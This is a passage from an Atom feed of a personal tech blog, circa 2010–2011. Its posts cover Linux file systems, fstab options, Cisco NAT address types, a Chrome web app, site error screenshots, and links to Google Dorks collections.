&amp;nbsp;developed by Oracle and contains similar&amp;nbsp;features&amp;nbsp;found in ReiserFS. It stants for B-Tree File System and allows for drive pooling, on the fly snapshots,&amp;nbsp;transparent&amp;nbsp;compression, and online defragmentation. &amp;nbsp;It is being specifically designed for enterprises but most every consumer distro has plans to move to it as the default file system eventually.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;Although it’s not stable in some distros, it will eventually be the default replacement for Ext4 and currently offers on-the-fly conversion from Ext3/4.&amp;nbsp;It is also key to note that the principle developer for ext3/4, Theodore Ts’o, has said that BtrFS is the “way forward”.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;BtrFS makes a great server file system due to it’s performance, snapshots, and many other features.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Oracle is also working on a replacement for NFS and CIFS called CRFS which boasts better performance and more features. Making it the best choice for a file server.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;The performance tests have shown it to lag behind Ext4 on flash memory such as SSDs, as a database server,&amp;nbsp;and even certain cases of general system read/writes.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Ubuntu 10.10 only allows you to install BtrFS if you use the text base alternate install CD and your /boot partition still requires an Ext file system.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/ReiserFS" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;ReiserFS&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;was a big leap forward for Linux file systems when it was introduced in 2001 and it included many new features that Ext would never be able to implement. ReiserFS was replaced by&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Reiser4" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;Reiser4&lt;/a&gt;&amp;nbsp;in 2004 which improved on many of the features that were incomplete or lacking in the initial release. However Reiser4 development is very slow and it still does not have support in the main Linux kernel. ReiserFS is the only version currently available in many distributions.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Has great performance for small files such as logs and is suited for databases and email servers.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;ReiserFS can be dynamically expanded but not shrunk and does not support FS level encryption.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;The future of Reiser4 is questionable and BtrFS is probably a better choice.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="136" src="http://www.howtogeek.com/wp-content/uploads/2010/12/silicon-graphics.png" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="500" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/XFS" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;XFS&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;was developed by Silicon Graphics in 1994 for their own operating system and was later ported to Linux in 2001. It is comparable to Ext4 is some&amp;nbsp;regards&amp;nbsp;because it also uses delayed allocation to help with file fragmentation and does not allow for mounted snapshots. XFS has shown itself to provide good performance with large files and has the ability to be resized, however you are not able to shrink an XFS volume.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Good for a media file server because of constant throughput for large files.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Most distributions require separate /boot partition because XFS and GRUB can be unpredictable&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Performance with small files is not as good as other file systems making it a poor choice for databases, email, and other servers that have a lot of logs.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Not as well supported as Ext for personal computers and doesn’t have significant performance improvements or features over Ext3/4.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" height="158" src="http://www.howtogeek.com/wp-content/uploads/2010/12/ibm.png" style="float: left; height: auto; margin-bottom: 12px; margin-left: 0px; margin-right: 12px; margin-top: 12px; max-width: 100%; word-wrap: break-word;" width="351" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;&lt;a href="http://en.wikipedia.org/wiki/JFS_file_system" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;JFS&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;was developed by IBM in 1990 and later ported to Linux. It boasts low CPU usage and good performance for both large and small files. JFS partitions can be dynamically resized but not shrunk like ReiserFS and XFS. It was extremely well planned and has support in most every major distribution, however its production testing on Linux servers isn’t as extensive as Ext as it was designed for AIX.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Good performance for both large and small files and because of its low CPU usage is probably best for low powered servers and computers&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;It does not have built in tools for drive pooling so it may not be as expandable as something like BtrFS but a netbook with only 1 hard drive may be a good option&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;It also has fast disk checking compared to Ext but there have been some reports of disk corruption after long term use.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;img alt="" class="largeImage" height="105" src="http://www.howtogeek.com/wp-content/uploads/2010/12/oracle.png" style="clear: both; display: block; float: none; height: auto; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 1em; max-width: 100%; word-wrap: break-word;" width="432" /&gt;&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;ZFS&lt;/strong&gt;&amp;nbsp;is worth a mention because it is also be being developed by Oracle and has similar features to Btrfs and ReiserFS. It was in the news in recent years when Apple was&amp;nbsp;rumored&amp;nbsp;to move to it as their default file system. Due to its licensing, Sun CDDL, it is not&amp;nbsp;compatible&amp;nbsp;to be included in the Linux kernel. It does however have support through Linux’s Filesystem in Userspace (FUSE) which makes using ZFS possible.&lt;/div&gt;&lt;ul style="word-wrap: break-word;"&gt;&lt;li style="word-wrap: break-word;"&gt;Shows great performance in large disk arrays.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;Supports a lot of advanced features including drive pooling, snapshots, and dynamic disk striping.&lt;/li&gt;&lt;li style="word-wrap: break-word;"&gt;It may be difficult to install in Linux because it requires FUSE and might not be supported by your distribution.&lt;/li&gt;&lt;/ul&gt;&lt;div style="word-wrap: break-word;"&gt;&lt;strong style="word-wrap: break-word;"&gt;Swap&lt;/strong&gt;&amp;nbsp;isn’t actually a file system. It is used as virtual memory and doesn’t have a file system structure. It cannot be mounted and read but is only used by the kernel to write memory pages to disk. It is typically only used when you either run out of physical memory or when you put your computer in hibernate but it is important to know what your partitioning tools mean when it asks for a swap space.&lt;/div&gt;&lt;div style="word-wrap: break-word;"&gt;To learn even more you can check out the Wikipedia page on&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Comparison_of_file_systems" style="color: #3355cc; text-decoration: none; word-wrap: break-word;" target="_new"&gt;comparison of file systems&lt;/a&gt;.&lt;/div&gt;&lt;h3 style="font-size: 1.05em; word-wrap: break-word;"&gt;So Which One Should You Choose?&lt;/h3&gt;&lt;div style="word-wrap: break-word;"&gt;For a general use case on your laptop or desktop, you’ll probably want to stick with ext4 (if your distro uses it as the default), since it’s a modern file system that’s supported in most distributions—but if you’ve got a specific need, now you have more information to make your decision.&lt;/div&gt;&lt;hr style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; border-width: initial; height: 0px; word-wrap: break-word;" /&gt;So now that you understand the differences between the file systems, which one would you choose?&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5213876195650223516?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5213876195650223516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5213876195650223516'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/which-linux-file-system-should-you.html' title='Which Linux File System Should You Choose?'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2519681315640546310</id><published>2011-01-02T16:26:00.000+08:00</published><updated>2011-01-11T16:38:01.648+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='NTFS'/><title type='text'>HTG Explains What is the Linux fstab</title><content type='html'>A lot of people don't know that Linux /etc/fstab stands for 'file system table'. And not many people are comfortable to modify the configuration of it.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Do you know why it starts with UUID?&lt;/li&gt;&lt;li&gt;Do you know you can mount NTFS partition with ntfs-3g driver?&lt;/li&gt;&lt;li&gt;How about the options? auto/noauto? exec/noexec? ro/rw? sync/async? user/nouser?&lt;/li&gt;&lt;li&gt;Do you know that "user" option automatically implies "exec"?&lt;/li&gt;&lt;li&gt;What are dumping and pass?&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Some of the minor settings are really new to me. For example, "sync" forces writing to occur immediately on execution of the command, which ideal for floppies and USB drives, but isn't entirely necessary for internal hard disk. What "async" does is allow the command to execute over an elapsed time period, perhaps when user activity dies down and the like. This is usually why you ever get a message asking you to "wait while changes are being written to the drive".&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Go read the article to refresh some memory at&amp;nbsp;&lt;a href="http://www.howtogeek.com/howto/38125/htg-explains-what-is-the-linux-fstab-and-how-does-it-work/"&gt;http://www.howtogeek.com/howto/38125/htg-explains-what-is-the-linux-fstab-and-how-does-it-work/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2519681315640546310?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2519681315640546310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2519681315640546310'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/htg-explains-what-is-linux-fstab.html' title='HTG Explains What is the Linux fstab'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2306350104876043986</id><published>2010-12-30T16:29:00.002+08:00</published><updated>2011-01-04T16:33:25.456+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><title type='text'>Cisco NAT Address Types</title><content type='html'>Cisco IOS NAT address types can be very confusing. I just read a very good article describing the different types of NAT address. Here's the summary:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Inside global:&lt;/b&gt; The address of the inside host as seen from the outside&lt;/li&gt;&lt;li&gt;&lt;b&gt;Inside local:&lt;/b&gt; The address of the inside host as seen from the inside&lt;/li&gt;&lt;li&gt;&lt;b&gt;Outside local:&lt;/b&gt; The address of the outside host as seen from the inside&lt;/li&gt;&lt;li&gt;&lt;b&gt;Outside global:&lt;/b&gt; The address of the outside host as seen from the outside&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;To read the full article, goto&amp;nbsp;&lt;a href="http://packetlife.net/blog/2010/jan/7/understanding-nat-address-types/"&gt;Understanding NAT address types&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2306350104876043986?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2306350104876043986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2306350104876043986'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2010/12/cisco-nat-address-types.html' title='Cisco NAT Address Types'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-2071868359038138002</id><published>2010-12-30T14:42:00.001+08:00</published><updated>2010-12-30T14:42:28.641+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webapp'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Chrome'/><title type='text'>MySEQ Web App</title><content type='html'>&lt;div&gt;Nothing fancy, but it is my first (hello world) web app for Google Chrome. I'm following the instruction at&amp;nbsp;&lt;a href="http://code.google.com/chrome/apps/docs/developers_guide.html"&gt;http://code.google.com/chrome/apps/docs/developers_guide.html&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_T6CLQrsBciM/TRwozTo-_cI/AAAAAAAAHzk/mWl3QdTXAr4/s1600/MySEQ.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="147" src="http://4.bp.blogspot.com/_T6CLQrsBciM/TRwozTo-_cI/AAAAAAAAHzk/mWl3QdTXAr4/s400/MySEQ.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Screenshot of Chrome New Tab&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;i&gt;Note: it is the same process how I created for Google Reader Web App at&amp;nbsp;&lt;a href="http://myseq.blogspot.com/2010/08/creating-google-reader-web-apps-with.html"&gt;http://myseq.blogspot.com/2010/08/creating-google-reader-web-apps-with.html&lt;/a&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-2071868359038138002?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2071868359038138002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/2071868359038138002'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2010/12/myseq-web-app.html' title='MySEQ Web App'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_T6CLQrsBciM/TRwozTo-_cI/AAAAAAAAHzk/mWl3QdTXAr4/s72-c/MySEQ.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5554353981621182924</id><published>2010-12-29T10:21:00.000+08:00</published><updated>2010-12-29T10:21:43.418+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Reader'/><title type='text'>Google Reader Unreachable</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_T6CLQrsBciM/TRqbCx1g3CI/AAAAAAAAHzU/35owamecRM4/s1600/Google-Reader-error.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="228" src="http://1.bp.blogspot.com/_T6CLQrsBciM/TRqbCx1g3CI/AAAAAAAAHzU/35owamecRM4/s400/Google-Reader-error.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;The app is currently unreachable.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5554353981621182924?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5554353981621182924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5554353981621182924'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2010/12/google-reader-unreachable.html' title='Google Reader Unreachable'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_T6CLQrsBciM/TRqbCx1g3CI/AAAAAAAAHzU/35owamecRM4/s72-c/Google-Reader-error.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-3055965902598420144</id><published>2010-12-28T16:40:00.000+08:00</published><updated>2010-12-28T16:40:07.916+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='GHDB'/><category scheme='http://www.blogger.com/atom/ns#' term='googledorks'/><title type='text'>Google Hacking Database, GHDB, Google Dorks</title><content type='html'>Remember Johnny Long's Google Hacking Database (GHDB)?&lt;br /&gt;&lt;br /&gt;At &lt;a href="http://myseq.blogspot.com/2010/12/exploit-db-owned-and-exposed.html"&gt;exploit-DB&lt;/a&gt;, it is called 'googledorks': inept or foolish people as revealed by Google. Here are the 2 sites that host the Google Dorks:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.exploit-db.com/google-dorks/"&gt;Google Hacking Universe&lt;/a&gt; (Exploit-DB) - organized into categories and searchable.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.pentestit.com/google-dorks/"&gt;Google Dorks&lt;/a&gt; (by PenTestIT)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-3055965902598420144?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3055965902598420144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/3055965902598420144'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2010/12/google-hacking-database-ghdb-google.html' title='Google Hacking Database, GHDB, Google Dorks'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6033072216674018218</id><published>2010-12-28T10:03:00.000+08:00</published><updated>2010-12-28T10:03:51.170+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><title type='text'>Something Went Wrong with Facebook</title><content type='html'>&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_T6CLQrsBciM/TRlFP4njliI/AAAAAAAAHzQ/H-JpCfdsQSM/s1600/facebook-fails.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/_T6CLQrsBciM/TRlFP4njliI/AAAAAAAAHzQ/H-JpCfdsQSM/s400/facebook-fails.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Sorry, something went wrong.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6033072216674018218?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6033072216674018218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6033072216674018218'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2010/12/something-went-wrong-with-facebook.html' title='Something Went Wrong with Facebook'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_T6CLQrsBciM/TRlFP4njliI/AAAAAAAAHzQ/H-JpCfdsQSM/s72-c/facebook-fails.png' height='72' width='72'/></entry></feed>
